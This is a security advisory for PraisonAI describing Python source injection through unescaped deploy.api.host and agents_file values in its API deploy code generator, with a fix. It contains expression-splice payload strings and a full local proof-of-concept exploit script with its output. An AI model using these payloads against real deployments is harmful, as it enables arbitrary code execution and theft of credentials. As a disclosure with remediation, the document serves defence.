PYSEC-2026-4251
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
Quick fix
PYSEC-2026-4251 — praisonai: upgrade to the fixed version with the command below.
pip install --upgrade 'praisonai>=4.6.78'Details
# API deploy code generator embeds unescaped YAML fields into Python source
## Summary
PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
## Technical Details
The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.
The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:
```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ```
The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ```
The generated startup code then becomes equivalent to:
```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ```
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.
## PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.
```python from pathlib import Path import json import sys import tempfile import types
import yaml
def install_stubs(): class FakeApp: def __init__(self, name): self.name = name
def route(self, *args, **kwargs): def deco(func): return func
return deco
def run(self, *args, **kwargs): return None
flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file
def run(self): return "ok"
praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod
def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsed_config = validate_agents_yaml(str(agents_yaml))
results = [] for label, config in [ ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)), ("malicious_host_from_yaml", parsed_config.api), ]: host_marker.unlink(missing_ok=True) code = generate_api_server_code("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"__name__": "__main__"}) results.append({ "case": label, "compiled": True, "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None, "marker_exists_after_startup": host_marker.exists(), "marker_contents": host_marker.read_text() if host_marker.exists() else None, "generated_contains_raw_host": config.host in code, })
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \"" file_marker.unlink(missing_ok=True) code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"__name__": "generated_agent_file"} exec(code, namespace) namespace["list_agents"]() results.append({ "case": "malicious_agent_file_route_value", "compiled": True, "marker_exists_after_list_agents": file_marker.exists(), "marker_contents": file_marker.read_text() if file_marker.exists() else None, "generated_contains_raw_agent_file": file_payload in code, })
print(json.dumps(results, indent=2)) return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else ".")) ```
## PoC
Command used against current source:
```sh uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI ```
Decisive output:
```json [ { "case": "safe_host", "compiled": true, "host_preserved_by_yaml_parser": null, "marker_exists_after_startup": false, "marker_contents": null, "generated_contains_raw_host": true }, { "case": "malicious_host_from_yaml", "compiled": true, "host_preserved_by_yaml_parser": true, "marker_exists_after_startup": true, "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED", "generated_contains_raw_host": true }, { "case": "malicious_agent_file_route_value", "compiled": true, "marker_exists_after_list_agents": true, "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED", "generated_contains_raw_agent_file": true } ] ```
The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.
## Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
## Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.
## Affected Package/Versions
Package: `praisonai`
Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`
Static sweep:
| Target | Result | | --- | --- | | `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present | | current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ```
Suggested CWEs:
- CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output
## Advisory History
The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.
This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
## References
- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()` - `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths - `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler - `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue - `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2026-61433[ADVISORY]
- https://nvd.nist.gov/vuln/detail/CVE-2026-62173[ADVISORY]
- https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0[WEB]
- https://github.com/MervinPraison/PraisonAI[PACKAGE]
- https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator[WEB]
- https://pypi.org/project/praisonai[PACKAGE]
- https://github.com/advisories/GHSA-79fv-7hq9-w7xg[ADVISORY]